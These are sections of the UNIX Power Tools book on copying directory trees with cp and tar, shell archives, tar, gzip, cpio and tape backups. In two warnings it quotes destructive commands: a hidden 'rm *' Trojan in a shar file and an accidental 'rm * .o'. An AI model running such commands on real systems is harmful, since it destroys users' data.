Previous: 18.14 Relinking Multiple Symbolic Links Chapter 18
Linking, Renaming, and Copying Files 		Next: 18.16 Copying Directory Trees with (tar | tar)

18.15 Copying Directory Trees with cp -r

Some versions of cp have a -r (recursive) flag. It copies all the files in a directory tree - that is, all the files in a directory and its subdirectories.

NOTE: One of our UNIX systems has a cp without a -r option. But it also has an rcp (1.33) command that does have -r. rcp can copy to any machine, not just remote machines. When I need cp -r on that host, I use rcp -r.

The first argument(s) to cp -r can be directory(s)-or, if you name any file(s), they'll be copied just the way they would without the -r. The last argument should be a directory. So, you can use cp -r in two ways:

  • Give cp -r directory(s) to copy. They'll be created as subdirectories of the directory named at the end.

  • Give cp -r file(s) to copy. They'll be copied to the directory named at the end.

Those two methods are really doing the same thing. They're both copying the tail of the first pathname(s) to the end of the last pathname.

  • Here's how to do the copy shown in Figure 18.1. This copies the directory /home/jane, with all its files and subdirectories, and creates a subdirectory named jane in the current directory . (1.21):

    % cd /work/bkup
% cp -r /home/jane .

  • How can you copy the contents of the subdirectory called data and all its files (but not the subdirectory itself) into a duplicate directory named data.bak? First create the destination directory. That's because the last argument to cp -r must be a directory that already exists:

    % cd /home/jane
% mkdir data.bak
% cp -r data/* data.bak

    That doesn't copy any files in data whose names start with a dot (.). There's a way (15.5) to do that though.

    Figure 18.1: Copying /home/jane to Current Directory (/work/bkup) with cp

  • To copy the subdirectories Sep and Oct and their files, as well as the file Output, from the directory /home/jim/calendar into the current directory (.):

    [..]*
    % cp -r /home/jim/calendar/[SO]* .

    If you use the C shell or bash, you can copy just the directories by using the handy curly brace operators (9.5):

    % cp -r /home/jim/calendar/{Sep,Oct} .

Some gotchas:

  • Symbolic and hard links (18.4) are copied as files. That can be good because, at the destination, a symbolic link might point to the wrong place. It can be bad if the link pointed to a really big file; the copy can take a lot of disk space. (In Figure 18.1 notice that the symbolic link in jane's home directory was converted to a file named .setup with a copy of the contents of generic.)

  • On many UNIXes, the copy will be dated at the time you made the copy and may have its permissions set by your umask (22.4). If you want the copy to have the original modification time and permissions, add the -p option.

  • cp -r will go into an endless loop if you name a directory in the list to copy from and also as the destination directory. For example, let's say you're copying everything from the current directory into an existing subdirectory named backup, like this:

    % cp -r * backup

    Unless your cp -r works differently from the ones I've tried, it will create backup/backup, and backup/backup/backup, and so on. To avoid that, replace the * wildcard with other less-"wild" wildcards. You can also match everything except the destination directory name by using the ksh ! operator, the tcsh ^ operator (15.2), or the nom script (15.9).

- JP

Previous: 18.14 Relinking Multiple Symbolic Links | UNIX Power Tools | Next: 18.16 Copying Directory Trees with (tar | tar)
18.14 Relinking Multiple Symbolic Links | Book Index | 18.16 Copying Directory Trees with (tar | tar)
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.16 Copying Directory Trees with (tar | tar)

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.15 Copying Directory Trees with cp -r Chapter 18
Linking, Renaming, and Copying Files 		Next: 19. Creating and Reading Archives

18.16 Copying Directory Trees with (tar | tar)

The tar (19.5) command isn't just for tape archives. It can copy files from disk to disk, too. And even if your computer has cp -r (18.15), there are advantages to using tar.

The obvious way to copy directories with tar is to write them onto a tape archive with relative pathnames - then read back the tape and write it somewhere else on the disk. But tar can also write to a UNIX pipe - and read from a pipe. This looks like:

% reading-tar | writing-tar

with one trick: the writing-tar process has a different current directory (38.3, 38.4) (the place where you want the copy made) than the reading-tar. To do that, run the writing-tar in a subshell (13.7).

The argument(s) to the reading-tar can be directory(s) or file(s). Just be sure to use relative pathnames (14.2) that don't start with a slash - otherwise, the writing-tar will write the copies in the same place the originals came from!

"How about an example," you ask? Figure 18.2 has one. It copies from the directory /home/jane, with all its files and subdirectories. The copy is made in the directory /work/bkup/jane:

% mkdir /work/bkup/jane
% cd /home/jane
% tar cf - . | (cd /work/bkup/jane && tar xBf -)

The && operator (44.9) tells the shell to start tar xBf only if the previous command (the cd) succeeded. That prevents tar writing files into the same directory it's reading from - if the destination directory isn't accessible or you flub its pathname. If your tar has a B (reblocking) option, use it to help be sure that the copy is made correctly. If your tar doesn't have a reblocking option, you can use this trick suggested by Chris Torek:

% tar cf - . | cat | (cd /work/backup/jane && tar xbf 1 -)

CAUTION: At least one tar version has a v (verbose) option that writes the verbose text to standard output instead of standard error ! (19.8) If your tar does that, don't use v on the reading-tar (the tar that feeds the pipe)-use v on the writing-tar.

You can use other options that your tar might have-like excluding files or directories (20.8)- on the reading-tar, too. Some gotchas:

  • Symbolic links (18.4) will be copied exactly. If they point to relative pathnames, the copied links might point to locations that don't exist. You can search for these symbolic links with find -type l (17.13) or oldlinks (16.28).

  • A hard link (18.4) will be copied as a file. If there are more hard links to that file in the files you're copying, they will be linked to the copy of the first link. That can be good because the destination might be on a different filesystem (a hard link to the original file can't work then). It can be bad if the link pointed to a really big file; the copy can take a lot of disk space. You can search for these hard links by:

    • Searching the directory from which you're copying with find -links +1 -type f (17.5) to find all files that have more than one link, and

    • Running the reading-tar with its l (lowercase letter L) option to complain if it didn't copy all links to a file.

Figure 18.2: Copying /home/jane to /work/bkup with tar

If your system has rsh (1.33), you can run the writing-tar on a remote system. For example, to copy a directory to the computer named kumquat:

% rsh kumquat mkdir /work/bkup/jane
% tar cf - . | rsh kumquat 'cd /work/bkup/jane && tar xBf -'

- JP

Previous: 18.15 Copying Directory Trees with cp -r | UNIX Power Tools | Next: 19. Creating and Reading Archives
18.15 Copying Directory Trees with cp -r | Book Index | 19. Creating and Reading Archives
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] Creating and Reading Archives

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 18.16 Copying Directory Trees with (tar | tar) Chapter 19 Next: 19.2 Introduction to Shell Archives

19. Creating and Reading Archives

Contents:
Packing Up and Moving
Introduction to Shell Archives
unshar: Unarchive a Shell Archive
A Simple Version of unshar
Using tar to Create and Unpack Archives
GNU tar Sampler
Extracting Files from a Compressed Archive
Problems with Verbose tar
A System V Tape Archiver: cpio

19.1 Packing Up and Moving

The worst part of living in a nice big house is the headache of moving. The more stuff you've got room for, the more trouble it is to pack it up and take it with you.

The UNIX operating system is a little bit like that. One of its real advantages is a filesystem that lets you organize your personal files into a hierarchical directory tree just like the much bigger tree that encompasses the entire filesystem. You can squirrel away all kinds of useful information into neat pigeonholes.

While your personal directory hierarchy is usually only two or three levels deep, for all practical purposes it can have as many levels as you like. And, as is true of any powerful and flexible tool, problems lie in wait for the sorcerer's apprentice. Directories and files grow increasingly complex the longer you use the system, with more forgotten files and more detailed organization.

This chapter will tackle the problems that can arise when you want to move a block of files (in one or many directories) from one place to another.

Maybe you're writing the files to a tape for safety (20.2). In many cases though, this is a "backup and restore" problem. For example, if you were moving your account to another system, you might just ask the system administrator (if there is one) to archive your files to tape or floppy and restore them in the new location. Many new users are less aware that you can use the backup programs tar (20.1) and cpio (19.9) (as well as some common archive programs like shar (19.2)) to create online archives that you can move from one place to another.

This situation is most likely to arise in a networked environment. You might be packaging files to ship as a package to another user. The files might be going to Usenet or an archive site on the Internet, for distribution to many users. Even though we've made a conscious decision (1.32) to omit networking information from this book these programs are so useful even on a single system (let alone one without the artificial boundaries we've put on this book) that we decided we ought to keep this chapter in the book.

- TOR

Previous: 18.16 Copying Directory Trees with (tar | tar) | UNIX Power Tools | Next: 19.2 Introduction to Shell Archives
18.16 Copying Directory Trees with (tar | tar) | Book Index | 19.2 Introduction to Shell Archives
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] 19.2 Introduction to Shell Archives

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 19.1 Packing Up and Moving Chapter 19
Creating and Reading Archives 		Next: 19.3 unshar: Unarchive a Shell Archive

19.2 Introduction to Shell Archives

A shell archive or shar file is a single file that contains one or more other files. Files are extracted from the archive with the standard UNIX Bourne shell (44.3). A shell archive usually doesn't let you save and restore complete directory hierarchies like cpio (19.9) and tar (19.5) do, but it is completely portable and, as a result, is used extensively on Usenet, an international network with many UNIX systems.

shar
In the Bourne shell, the operator << (8.18) means to take the following lines, up to a specified string, as input to a command. (This is often called a here document.) Using this syntax and the cat (25.2) and echo (8.6) commands, you can write a simple shell archiver (shar) like the one below. Incidentally, many systems already have shar programs in place; there are several freely available versions, including the one on the CD-ROM. Just about any of them are likely to be more sophisticated than the version shown here - but this version shows the essence of how they work:

for

<<

#!/bin/sh
for file
do
    echo "echo restoring $file"
    echo "cat > $file << 'XxXxXxXxXx-EOF-XxXxXxXxXx'"
    cat $file
    echo "XxXxXxXxXx-EOF-XxXxXxXxXx"
done

The string XxXxXxXxXx-EOF-XxXxXxXxXx is entirely arbitrary - it just needs to be a string that won't otherwise appear in the input and can be used by the shell to recognize when the here document is finished.

When you give shar a list of filenames, it will string those files together on standard output, separating them with that arbitrary string and the commands to split them up again. Simply redirect this output stream to a file to create the archive. For example, the command:

$ shar file1 file2 > archive.shar

will produce a file called archive.shar that contains the following data:

'...'

echo restoring file1
cat > file1 << 'XxXxXxXxXx-EOF-XxXxXxXxXx'
   ...
Text of file1 will be stored here
   ...
XxXxXxXxXx-EOF-XxXxXxXxXx
echo restoring file2

cat > file2 << 'XxXxXxXxXx-EOF-XxXxXxXxXx'
   ...
Text of file2 will be stored here
   ...
XxXxXxXxXx-EOF-XxXxXxXxXx

When this archive is run through sh, the commands it contains will be executed. Each here document (the lines from each cat up to the next XxXxXxXxXx-EOF-XxXxXxXxXx) will be output to a file:

$ sh archive.shar
restoring file1
restoring file2
$ ls
archive.shar
file1
file2

The unshar (19.3) program does essentially the same thing.

NOTE: You should never blindly run a shell archive supplied by someone you don't know personally. An unscrupulous prankster could easily include a "Trojan horse" command (like rm *) in the middle of a seemingly innocuous archive, and cause you a lot of trouble. An easy way to do this is by browsing through the archive with the search command in a program like more (25.3). Use the search command (in more, the command is /) to find each end-of-file string (like XxXxXxXxXx); look carefully at the commands between it and the cat that starts the next file. Of course, if the files in the shell archive are programs themselves, you should also check them before they're executed.

- TOR

Previous: 19.1 Packing Up and Moving | UNIX Power Tools | Next: 19.3 unshar: Unarchive a Shell Archive
19.1 Packing Up and Moving | Book Index | 19.3 unshar: Unarchive a Shell Archive
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] 19.3 unshar: Unarchive a Shell Archive

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 19.2 Introduction to Shell Archives Chapter 19
Creating and Reading Archives 		Next: 19.4 A Simple Version of unshar

19.3 unshar: Unarchive a Shell Archive

Article 19.2 explained how to extract files from a shell archive by executing it as a shell script with sh. There are a few drawbacks to this. One of them is that shar files are often sent through email, and have an email header ahead of shell commands. One can strip out the header manually after saving the file - but why bother?

shar
 The unshar program, which is distributed with shar on the CD-ROM, is more intelligent about ignoring leading garbage and checking out the shar file for problems.

- TOR

Previous: 19.2 Introduction to Shell Archives | UNIX Power Tools | Next: 19.4 A Simple Version of unshar
19.2 Introduction to Shell Archives | Book Index | 19.4 A Simple Version of unshar
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] 19.4 A Simple Version of unshar

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 19.3 unshar: Unarchive a Shell Archive Chapter 19
Creating and Reading Archives 		Next: 19.5 Using tar to Create and Unpack Archives

19.4 A Simple Version of unshar

This little script is a great example of how something simple in UNIX can do a lot. It skips past the mail header and comments that come before some shell archives (19.2), then feeds the archive to a shell. You can use it while you're reading a message with most UNIX mail programs (1.33):

& save | unshar

or give it the name of an archive file on its command line:

% unshar somefile.shar

and so on. Here's a version of the script:

#! /bin/sh
# IGNORE LINES BEFORE FIRST "#" COMMENT STARTING IN FIRST COLUMN:
sed -n '/^#/,$p' $1 | sh

The script reads from its standard input or a single file. It skips all lines until the comment (#) that starts most shell archives; the rest of the lines are piped to the shell. It doesn't read from multiple files; that would add another couple of lines for a loop - and make the script too long! :-) In the last few years, much fancier unshar programs (19.3) have come out. They protect against "Trojan horses" buried in shar files and let systems without a Bourne shell (like DOS) unpack shell archives. This basic script still does a fine job though. [It also gives one more demonstration of why at least basic knowledge of sed (34.24) is so important to would-be power users. It's an incredibly handy utility. -TOR ]

- JP

Previous: 19.3 unshar: Unarchive a Shell Archive | UNIX Power Tools | Next: 19.5 Using tar to Create and Unpack Archives
19.3 unshar: Unarchive a Shell Archive | Book Index | 19.5 Using tar to Create and Unpack Archives
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] 19.5 Using tar to Create and Unpack Archives

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 19.4 A Simple Version of unshar Chapter 19
Creating and Reading Archives 		Next: 19.6 GNU tar Sampler

19.5 Using tar to Create and Unpack Archives

Many UNIX users think of tar (20.1) as a utility for creating tapes. Like most UNIX utilities though, that's only the beginning. For example, you can use tar for copying directory trees (18.16).

One common use for tar is creating archive files that can be shipped to other systems. We've already seen a utility for creating shell archives (19.2), but there are a lot of things that a shell archive can't do. tar is very useful when you're sending binary data; I've seen some shar utilities that can handle binary data, but they're rare, and I don't particularly like the way they do it. If you use tar, you can package several directories into an archive, you can send directories that include links, you can preserve file ownership and access permissions, etc.

To create a tar archive, use the c (create) and f (filename) options to save tar's output in a file:

% cd /home/src/fsf
% tar cf emacs.tar emacs

This command puts everything in the emacs directory into a file (called a tar file) named emacs.tar. You can then give this file to other users, via FTP, UUCP (1.33), or any other means.

Archives (no matter how you make them) are usually rather large, so it's common to compress (24.7) them, with a command like:

% gzip emacs.tar

This creates the file emacs.tar.gz, which should be significantly smaller than the original tar archive.

If you're going to use UUCP or FTP to transfer the file, this is good enough; both UUCP and FTP know how to handle binary data. Often though, you'd like to send the archive via electronic mail (1.33), and some mail programs only know how to handle ASCII (51.3) data. In that case, you'll need to create an ASCII version. To do this, use the uuencode (52.9) command. To read the file directly, repeat its name twice:

% uuencode emacs.tar.gz emacs.tar.gz > emacs.tar.gz.uu

You can then insert emacs.tar.gz.uu into a mail message and send it to someone. Of course, the ASCII-only encoding won't be as efficient as the original binary file. It's about 33 percent larger. [1]

[1] If so, why bother gzipping? Why not forget about both gzip and uuencode? Well, you can't. Remember that tar files are binary files to start with - even if every file in the archive is an ASCII text file. You'd need to uuencode a file before mailing it, anyway - so you'd still pay the 33 percent size penalty that uuencode incurs. Using gzip minimizes the damage.

If you'd rather, you can combine the steps above into one pipeline. Giving tar the archive filename (13.13) tells it to write to its standard output. That feeds the archive down the pipe:

% tar cf - emacs | gzip | uuencode emacs.tar.gz > emacs.tar.gz.uu

What happens when you receive a uuencoded, compressed tar file? The same thing, in reverse. You'll get a mail message that (after the various header lines) looks something like this:

begin 644 emacs.tar.gz
M+DQ0"D%L;"!O9B!T:&5S92!P<F]B;&5M<R!C86X@8F4@<V]L=F5D(&)Y(")L
M:6YK<RPB(&$@;65C:&%N:7-M('=H:6-H"F%L;&]W<R!A(&9I;&4@=&\@:&%V
M92!T=V\@;W(@;6]R92!N86UE<RX@(%5.25@@<')O=FED97,@='=O(&1I9F9E
M<F5N= IK:6YD<R!O9B!L:6YK<SH*+DQS($(*+DQI"EQF0DAA<F0@;&EN:W-<

So you save the message in a file, complete with headers. Let's say you call this file mailstuff. How do you get the original files back? Use the following sequence of commands:

% uudecode mailstuff
% gunzip emacs.tar.gz
% tar xf emacs.tar

The uudecode command creates the file emacs.tar.gz. Then gunzip recreates your original tar file, and tar xf extracts the individual files from the archive. Article 19.7 shows a more efficient method - and also explains the tar o option, which many System V users will need.

By the way, tar is so flexible precisely because of UNIX's file-oriented design: everything, even a tape drive, "looks like" a file. So tar creates a certain kind of file and sends it out into the world; it usually lands on a tape, but you can put it somewhere else if you want. With most operating systems, a tape utility would know how to talk to a tape drive, and that's all.

- ML

Previous: 19.4 A Simple Version of unshar | UNIX Power Tools | Next: 19.6 GNU tar Sampler
19.4 A Simple Version of unshar | Book Index | 19.6 GNU tar Sampler
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] 19.6 GNU tar Sampler

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 19.5 Using tar to Create and Unpack Archives Chapter 19
Creating and Reading Archives 		Next: 19.7 Extracting Files from a Compressed Archive

19.6 GNU tar Sampler

tar
GNU tar has plenty of features; some people would say "too many." I don't agree. GNU tar has features I wish I'd had for years in more "standard" versions. This article lists my favorites. For a complete list, check the documentation on the CD-ROM.

  • Article 19.5 describes how to compress an archive file you've created. If you're using GNU tar, this is even easier, since tar itself can do the compression. Simply use the z option when writing or reading archives. For example, to make the gzipped tar archive progs.tar.gz from all ".c" and ".h" files:

    % tar cvzf progs.tar.gz *.c *.h

    Compressed tape archives aren't recommended because error recovery can be difficult.

  • I've made the classic mistake of archiving files with their absolute pathnames (20.10). GNU tar saves you from that goof. It always stores absolute pathnames as relative paths unless you add the --absolute-names option.

  • Often I want to make a tape backup of my most recent work on a big project, but not all the thousands of files in a directory tree. The clumsy way to do that is by using find -mtime to make an include-file for the standard tar -I option. GNU tar to the rescue: its --after-date option lets me tell it what directories to look in and how recently the files should have been changed.

  • When I extract an archive, I may be writing into a directory that has other files. The --keep-old-files option tells GNU tar not to overwrite existing files.

One caution about GNU tar: it creates ANSI-format tar archives. Extracting one of these archives with the old V7 tar can cause warning messages like "tar: unexpected EOF." But, of course, GNU tar has an option to create old-format archives: --old-archive.

- JP, TOR

Previous: 19.5 Using tar to Create and Unpack Archives | UNIX Power Tools | Next: 19.7 Extracting Files from a Compressed Archive
19.5 Using tar to Create and Unpack Archives | Book Index | 19.7 Extracting Files from a Compressed Archive
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] 19.7 Extracting Files from a Compressed Archive

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 19.6 GNU tar Sampler Chapter 19
Creating and Reading Archives 		Next: 19.8 Problems with Verbose tar

19.7 Extracting Files from a Compressed Archive

Article 19.5, discussed creating and unpacking compressed tar archives with gzip, gunzip (24.7), and tar. This article explains how to simplify those two-step processes. The first command line below creates a gzipped archive; the second extracts it:

% tar cf - pathnames | gzip > archive.tar.gz
% gzcat archive.tar.gz | tar xf - pathnames

gzcat uncompresses a file (the gzip format, as well as older compress and pack formats), sending the result to standard output. With the f option, and - (13.13) listed as a filename, tar writes to standard output when creating an archive and reads from standard input when extracting. You don't need to create the larger, uncompressed file; you can store the archive permanently in its compressed form. To extract only some of the files in the archive, give the pathnames on the command line exactly as they're stored in the archive. Otherwise, tar will extract all the files. (For a list of the exact pathnames, use tar tf -.)

GNU tar makes this even easier. As article 19.6 shows, the GNU z option creates or extracts a gzipped archive directly. Here are the two examples above using the z option:

% tar czf archive.tar.gz pathnames
% tar xzf archive.tar.gz pathnames

Warning! Instead of cf, you can use cvf so tar will list each file as it's processed.

NOTE: If you extract files from an archive that you didn't create, the files you extract may not belong to you. Here's why. On many non-BSD systems, when tar extracts a file, the file will be owned by the same UID (38.3) that owned the file when the archive was created. If that UID isn't yours, tar may extract directories you can't modify and files you can't edit. On systems with that problem, you can add the o option (for example, tar xof) to be sure that files extracted will belong to you.

- ML, JIK, JP

Previous: 19.6 GNU tar Sampler | UNIX Power Tools | Next: 19.8 Problems with Verbose tar
19.6 GNU tar Sampler | Book Index | 19.8 Problems with Verbose tar
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] 19.8 Problems with Verbose tar

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 19.7 Extracting Files from a Compressed Archive Chapter 19
Creating and Reading Archives 		Next: 19.9 A System V Tape Archiver: cpio

19.8 Problems with Verbose tar

I've heard of one tar version with a v (verbose) option that writes the verbose information to its standard output, rather than standard error. If your tar does that, be sure not to use v when you're using tar to write to a pipeline. For example, the command that follows would be a disaster if your version of tar has this bug:

% tar cvf - *.txt | gzip > archive.tar.gz

The filenames would appear in standard output, along with the tar archive itself. The result would be a gzipped archive that couldn't be extracted. (You'd probably get a "checksum error" from tar, or something similar, if you tried.)

You can test for this problem by typing:

% tar cvf - somefile > /dev/null   tar without v bug
a somefile 23 blocks, 44567 characters

That redirects standard output to /dev/null (13.14). If you don't see any verbose output, your tar has the bug.

- JP

Previous: 19.7 Extracting Files from a Compressed Archive | UNIX Power Tools | Next: 19.9 A System V Tape Archiver: cpio
19.7 Extracting Files from a Compressed Archive | Book Index | 19.9 A System V Tape Archiver: cpio
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 19] 19.9 A System V Tape Archiver: cpio

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 19.8 Problems with Verbose tar Chapter 19
Creating and Reading Archives 		Next: 20. Backing Up Files

19.9 A System V Tape Archiver: cpio

There was a time when people used to debate whether the BSD tar (20.1, 19.5) (tape archiver) or the System V cpio (copy in/out) was the better file archive and backup program. At this point, there's no question. No one ships out cpio archives over the Net (1.33). tar is widespread, and because there are free versions available, including GNU tar (19.6), there's no reason why you should have to read a cpio archive from someone else.

Still, if you're on an older System V machine, you might use cpio. Though we don't give it much air time in this book, here are a few basics:

  • To write out an archive, use the -o option and redirect output either to a tape device or to an archive file. The list of files to be archived is often specified with find (17.1), but can be generated in other ways-cpio expects a list of filenames on its standard input. For example:

    % find . -name "*.old" -print | cpio -ocBv > /dev/rst8

    or:

    % find . -print | cpio -ocBv > mydir.cpio

  • To read an archive in, use the -i option and redirect input from the file or tape drive containing the archive. The -d option is often important; it tells cpio to create directories as needed when copying files in. You can restore all files from the archive or specify a filename pattern (with wildcards quoted to protect them from the shell) to select only some of the files. For example, the following command will restore from a tape drive all C source files:

    % cpio -icdv "*.c" < /dev/rst8

    Subdirectories are created if needed (-d), and cpio will be verbose (-v), announcing the name of each file that it successfully reads in.

  • To copy an archive to another directory, use the -o option, followed by the name of the destination directory. (This is one of the nicer features of cpio.) For example, you could use the following command to copy the contents of the current directory (including all subdirectories) to another directory:

    % find . -depth -print | cpio -pd newdir

  • There are lots of other options for things like resetting file access times or ownership or changing the blocking factor on the tape. See your friendly neighborhood manual page for details. Notice that options are typically "squashed together" into an option string rather than written out as separate options.

- TOR

Previous: 19.8 Problems with Verbose tar | UNIX Power Tools | Next: 20. Backing Up Files
19.8 Problems with Verbose tar | Book Index | 20. Backing Up Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] Backing Up Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 19.9 A System V Tape Archiver: cpio Chapter 20 Next: 20.2 Make Your Own Backups

20. Backing Up Files

Contents:
tar in a Nutshell
Make Your Own Backups
How to Make Backups with a Local Tape Drive
Restoring Files from Tape with tar
Using tar to a Remote Tape Drive
Writing a Tape Drive on a Remote Machine
Creating a Timestamp File for Selective Backups
Telling tar Which Files to Exclude or Include
When a Program Doesn't Understand Wildcards
Avoid Absolute Paths with tar
Getting tar's Arguments in the Right Order
Protecting Files with SCCS or RCS
SCCS Basics
RCS Basics
List RCS Revision Numbers with rcsrevs

20.1 tar in a Nutshell

When many UNIX users think of file archives, on tape or in an archive file, they think of the tar utility. There are other ways to make archives and handle tapes - including cpio (19.9), shar (19.2), and dd (20.6). This article summarizes articles about tar-in this chapter and others.

  • Although tar is a tape archiver, one of its common uses is making an archive file on disk (19.5). Because tar "pads" its archives with NUL characters (51.3), on-disk tar archive files can be much bigger than the size of the individual files put together. The file can be compressed - so you may need to uncompress an archive (19.7). The GNU tar (19.6) can compress files while storing them. If you make on-disk archives, be careful with tar's v (verbose) flag or you could end up with a corrupted archive that holds more than your files (19.8).

    With compression, a tar archive can take less disk space (24.8) than compressing individual small files.

    Because tar keeps most of a file's inode (1.22) information, it can make a more complete copy (18.16) of a file or directory tree than utilities like cp.

  • Yes, we do have articles about archives on tape. Bruce Barnett's article 20.2 has enough information to make your own archive... although you might need the details from article 20.3, too. After you've made an archive, you'll probably want to restore it - at least as a test to be sure your archive is okay. Article 20.4 explains how.

    If there isn't a tape drive on your computer, read article 20.5 about using a drive on another computer. If that isn't enough information, read the gory details from another of our long-time UNIX and tape experts, Chris Torek, in article 20.6.

  • tar copies a directory tree, recursively, from top to bottom. What if you don't want to archive everything? You can back up just some files by combining ls -lt and find (20.7). Some versions of tar have options for including or excluding certain files and directories (20.8, 19.6).

- JP

Previous: 19.9 A System V Tape Archiver: cpio | UNIX Power Tools | Next: 20.2 Make Your Own Backups
19.9 A System V Tape Archiver: cpio | Book Index | 20.2 Make Your Own Backups
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.2 Make Your Own Backups

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.1 tar in a Nutshell Chapter 20
Backing Up Files 		Next: 20.3 How to Make Backups with a Local Tape Drive

20.2 Make Your Own Backups

As someone who has been an end user and a system administrator, I strongly believe that every user should understand the importance of backups.

NOTE: If you have data that is important to you, you should have a known backup.

Accidents and oversights happen. Tapes can be damaged, lost, or mislabeled. Assume that your system administrator is top-notch. The best administrator can recover your lost data 99 percent of the time. There is still a small chance that the files you need might not be recovered. Can you afford to duplicate months of effort 1 percent of the time? No.

An experienced user learns to be pessimistic. Typically, this important fact is learned the hard way. Perhaps a few hours are lost. Perhaps days. Sometimes months are lost.

Here are some common situations:

  • A user works on a file all day. At the end of the day, the file is deleted by accident. The system manager cannot recover the file. A day's work has been lost.

  • A programmer tries to clean up a project directory. Instead of typing rm *.o the programmer types rm * .o and the entire directory is lost.

  • A user deletes a file by accident. After a few days, the user asks the system administrator to recover the file. The incremental backup system has re-used the only tape the missing file was on.

  • A large project is archived on a magnetic tape and deleted from the disk. A year later, some of the information is needed. The tape has a bad block at the beginning. The system manager must learn how to recover data from a bad tape. The attempt is often unsuccessful. The information is lost forever, and must be re-created, at the cost of months of effort.

  • Someone breaks into a computer and accesses confidential information.

  • A fire breaks out in the computer room. The disks and all of the backup tapes are lost.

Gulp! I scared myself. Excuse me for a few minutes while I load a tape...

Ah! I feel better now. As I was saying, being pessimistic has its advantages.

Making a backup is easy. Get a blank tape and put a label on it. Learn how to load it onto the tape drive. Then do the following:

% cd
% tar c .

Take the tape off. Write-protect the tape (slide the tab, turn the knob, or take out the ring). That's all.

[Not quite! Bruce also points out that you can get even more protection by using a version control system like SCCS (20.12) or RCS (20.14) to save every version of a file you are updating frequently. -TOR ]

- BB

Previous: 20.1 tar in a Nutshell | UNIX Power Tools | Next: 20.3 How to Make Backups with a Local Tape Drive
20.1 tar in a Nutshell | Book Index | 20.3 How to Make Backups with a Local Tape Drive
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 20] 20.3 How to Make Backups with a Local Tape Drive

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 20.2 Make Your Own Backups Chapter 20
Backing Up Files 		Next: 20.4 Restoring Files from Tape with tar

20.3 How to Make Backups with a Local Tape Drive

As we said in article 20.2, making a backup is easy:

% cd
% tar c .

The cd command moves you to your home directory. You could back up any directory the same way.

The tar (20.1) command, which is an abbreviation of tape archive, copies the current directory (specified by the .) to the default tape drive. The c argument specifies the create mode of tar.

You might get an error. Something about device rmt8 off line. Don't worry. I exaggerated slightly when I said tar was easy to use. The tape device that SunOS tar uses by default is /dev/rmt8 (yours may be different). There are several types of tape units, and not all can be referred to using that name. Some system administrators will link that name to the actual device, which makes tar easier to use. But if that doesn't work, you need to specify additional arguments to tar.

20.3.1 Syntax of the tar Command

Most UNIX commands follow a certain style when arguments are specified. tar does not follow this convention, so you must be careful to use tar properly. If the standard was followed, then the following might be an example of dumping the current directory to the 1/2-inch tape cartridge, verbose mode, block size of 20:

% tapedump -c -v -b 20 -f /dev/rmt8 .   Wrong!

Instead, all the flags are in the first argument, and the parameters to those flags follow the first argument, in order of the flags specified:

% tar cvbf 20 /dev/rmt8 .

The same command can be specified in a different way by changing the order of the letters in the first argument:

% tar cvfb /dev/rmt8 20 .

(Article 20.11 has diagrams and more information about the order of arguments.) The only key letter that has a fixed location is the first one, which must specify if you are reading or writing an archive. The most common key letters, and the functions they perform are listed in Table 20.1.

Table 20.1: Common tar Key Letters
Key Letter | Function
c | Create an archive.
x | Extract files from an archive.
t | Table of contents.
v | Give verbose information.

Some versions of tar require a hyphen (-) before the letter.

20.3.2 What Is the Name of the Tape Drive?

